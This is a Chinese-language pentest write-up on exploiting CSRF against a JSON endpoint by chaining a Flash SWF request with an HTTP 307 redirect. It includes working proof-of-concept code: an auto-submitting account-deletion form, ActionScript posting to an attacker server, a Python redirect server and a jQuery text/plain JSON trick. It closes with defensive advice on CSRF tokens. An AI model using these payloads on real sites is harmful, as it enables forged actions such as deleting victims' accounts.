导语:(CSRF + Flash + HTTP 307)= 很牛逼的利用姿势 背景介绍 在最近完成的一次渗透测试中,除了发现几个业务逻辑漏洞,XSS和不安全的直接对象引用外,我们还发现了一些跨站点请求伪造(CSRF)的漏洞。 在我们发现的漏洞中,有一个CSRF漏洞
(CSRF + Flash + HTTP 307)= 很牛逼的利用姿势
背景介绍
在最近完成的一次渗透测试中,除了发现几个业务逻辑漏洞,XSS和不安全的直接对象引用外,我们还发现了一些跨站点请求伪造(CSRF)的漏洞。
在我们发现的漏洞中,有一个CSRF漏洞是在接受JSON POST请求端点上的。要利用这个漏洞攻击者需要发送一个自定义的content-type的HTTP头并且POST Body不允许使用标准的JavaScript 或 HTML。当使用XMLHttpRequest时,自定义的HTTP头将调用作为CORS规范的一部分的预检请求。在本文中,我们将引导你完成我们利用这个CSRF漏洞所做的一些事情。
现在我们可以使用自定义的HTTP头向JSON端点发出POST请求,但不调用预检CORS请求。
利用CSRF遇到的问题?
就漏洞利用而言,CSRF漏洞与易受攻击的应用程序功能一样强大。无论请求的来源如何,CSRF漏洞都会滥用浏览器的功能在发出请求时自动发送认证令牌。服务器和应用程序(除非编程指定)不会区分请求的来源,无论是由合法用户还是由攻击者托管的登录用户被诱骗访问的页面。
例如,下面显示了一个可用于通过POST表单删除帐户功能的CSRF的简单PoC代码:
<html> <body onload=myform.submit()> <form action="/userdelete" method="POST" name="myform"> <input type="hidden" id="acctnum" name="acctnum" value="100"> <input type="hidden" id="confirm" name="confirm" value="true"> </form> </body> </html>
当已登录的用户使用浏览器验证的会话处于活动状态的相同浏览器浏览到此页面(由攻击者托管)时,页面将发出POST请求,导致功能被触发。由于浏览器默认发送身份验证cookie,因此在完成攻击的服务器上会触发该功能。
需要注意的是,在这个请求中设置的content-type HTTP头是application/x-www-form-urlencoded类型的,因为服务器期望的是URL编码的HTML表单数据。
那么为什么我们不能使用这个PoC利用我们的JSON端点(在服务器上会验证Content-Type HTTP头)呢?这是因为:
1. POST body必须以JSON格式发送,而使用HTML表单元素构建起来有点繁琐。
2. Content-Type HTTP头需要设置为application/json。设置自定义的HTTP头需要使用XMLHttpRequests,这反过来会向服务器发送OPTIONS预发送请求。
如果不调用跨域的预先请求,那么,运行在不同域名上的脚本无法设置自定义的HTTP头。
Flash和重定向
Adobe Flash可用于使用ActionScript制作Web请求。ActionScript还可以用于为Web请求设置自定义的HTTP头。
除非远程站点上存在有效的crossdomain.xml文件,否则Flash不会向具有自定义HTTP头的不同来源的服务器发出请求。
为了完全避免跨域文件,我们使用Flash和我们的POST有效载荷向Flash文件所在的服务器上的另一个文件发出请求。该文件将充当重定向器并响应HTTP状态码307。307和其他3XX 的HTTP状态码的主要区别在于,HTTP 307可以确保在重定向请求发生时请求方法和请求主体不会发生改变。
HTTP 307会将POST Body和HTTP头重定向到我们指定的目标的最终URL,从而完成攻击。
结合在一起
要建立一个成功的PoC,让我们来看看这个易受攻击的端点需要什么样的要求:
1. /userdelete端点期望要发送数据带有 application/json这个HTTP头
2. 易受攻击的端点需要发送以下JSON数据
{"acctnum":"100","confirm":"true"}
攻击者的设置
攻击者的服务器由以下组件和流量组成:
1. 当攻击者托管的Flash文件在受害者的浏览器中下载并执行时,会在攻击者的服务器上使用有效载荷和自定义的HTTP头向重定向脚本发起HTTP POST请求
2. 重定向器脚本会简单地响应一个HTTP 307,并将响应中的Location这个HTTP头设置为最终的易受攻击的/userdelete端点。
3. 受害者的浏览器然后会向最终的URL发出另一个POST请求,并带有HTTP头,从而完成攻击。
创建csrf.swf
要创建发出Web请求的csrf.swf 的 Flash文件,请按照下列步骤操作:
1. 从Adobe官网安装Flex SDK用于将ActionScript编译为swf文件。Flex需要安装32位JVM,可以从Oracle官网下载安装32位的JDK。
2. 创建一个名为csrf.as的文本文件,其中包含下面给出的ActionScript代码。
3. 将<attacker-ip>占位符替换为生成Flash文件所在的系统的IP地址/域名(攻击者服务器)。
4. 要将此文件编译为csrf.swf,只需运行mxmlc csrf.as命令。这将创建一个名为csrf.swf的文件。
package { import flash.display.Sprite; import flash.net.URLLoader; import flash.net.URLRequest; import flash.net.URLRequestHeader; import flash.net.URLRequestMethod;public class csrf extends Sprite { public function csrf() { super(); var member1:Object = null; var myJson:String = null; member1 = new Object(); member1 = { "acctnum":"100", "confirm":"true" }; var myData:Object = member1; myJson = JSON.stringify(myData); myJson = JSON.stringify(myData); var url:String = "http://attacker-ip:8000/"; var request:URLRequest = new URLRequest(url); request.requestHeaders.push(new URLRequestHeader("Content- Type","application/json")); request.data = myJson; request.method = URLRequestMethod.POST; var urlLoader:URLLoader = new URLLoader();try { urlLoader.load(request); return; } catch(e:Error) { trace(e); return; } } } }
创建Web服务器来托管和发出307重定向响应
服务器基本上会在接收到文件请求时托管csrf.swf文件,或者在收到任何其他HTTP请求后立即发出307重定向。我们使用Python的BaseHTTPServer模块来实现这个功能。
1. 创建一个名为pyserver.py的文件,其中包含下面给出的python代码。
2. 这个python代码将作为8000端口上的web服务器来托管csrf.swf文件,并响应http:// victim-site / userdelete端点请求的HTTP 307重定向。
3. 通过运行python pyserver.py来启动网络服务器
import BaseHTTPServer import time import sys HOST = '' PORT = 8000 class RedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler): def do_POST(s): if s.path == '/csrf.swf': s.send_response(200) s.send_header("Content-Type","application/x-shockwave-flash") s.end_headers() s.wfile.write(open("csrf.swf", "rb").read()) return s.send_response(307) s.send_header("Location","http://victim-site/userdelete") s.end_headers() def do_GET(s): print(s.path) s.do_POST() if __name__ == '__main__': server_class = BaseHTTPServer.HTTPServer httpd = server_class((HOST,PORT), RedirectHandler) print time.asctime(),"Server Starts - %s:%s" % (HOST,PORT) try: httpd.serve_forever() except KeyboardInterrupt: pass httpd.server_close() print time.asctime(),"Server Stops - %s:%s" % (HOST,PORT)
https://gist.github.com/shreddd/b7991ab491384e3c3331上的代码被用作创建这个HTTP重定向服务器的参考
PoC利用流程
这些是受害者为完成攻击而采取的步骤。Flash需要在浏览器中启用。
1. 用户在浏览器中登录到http://victim-site/。
2. 受害者被诱骗导航到 http://attacker-ip:8000/csrf.swf
3. 加载flash文件,用有效载荷和自定义HTTP头向 http://attacker-ip:8000/ 发起POST请求
4. 攻击者服务器发出HTTP 307重定向响应。这会导致POST响应body和自定义HTTP头按原样发送到 http://victim-site/
5. 用户刷新他的 http://victim-site/ 页面,发现他/她的帐户已被删除。
最后的想法
在这种情况下,必须使用Flash文件和307重定向器,这是由于服务器会验证请求的content-type是否为application / json。如果在服务器上缺少这个检查,则可以使用JavaScript来创建一个模仿JSON对象的HTML元素属性,并且可以用如下所示的代码进行POST请求:
<html> <body> <script src=" https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script><form id="myform" enctype="text/plain" action="https://victim-site/userdelete" method="POST"> <input id="json" type="hidden" name='json' value='test"}'> </form><script> $(document).ready(function() { $("#json").attr("name",'{"acctnum":"100","confirm":"true","a":"'); $("#myform").submit(); }); </script></body> </html>
另一种方法是使用Fetch API来创建一个带有text/plain头的JSON POST 请求来完成攻击。
CSRF漏洞可能与易受攻击的功能一样危险。有些开发人员有时所依靠的JS或HTML表单是无法将content-type设置为必要的保护的,通过这篇文章可以很容易地将其绕过。
现在在我们结束之前总结一些想法吧,
· 开发人员不应该仅仅依靠请求头,源或referer来做出服务器端该如何处理请求的决定,就像构建应用程序一样,“所有的用户输入都是不安全的”的思想可以确保你第一次安全地构建。
· 对CSRF的正确解决方法是在请求中使用足够随机的令牌,以便服务器知道进入的请求是从实际应用程序发出的,而不是来自托管在不同的源的服务器上的页面。
· 应用程序中的任何XSS漏洞都可用于绕过CSRF保护,因为受攻击者控制的JavaScript将能够读取DOM并提取CSRF令牌来伪装成正常用户发出自定义的请求。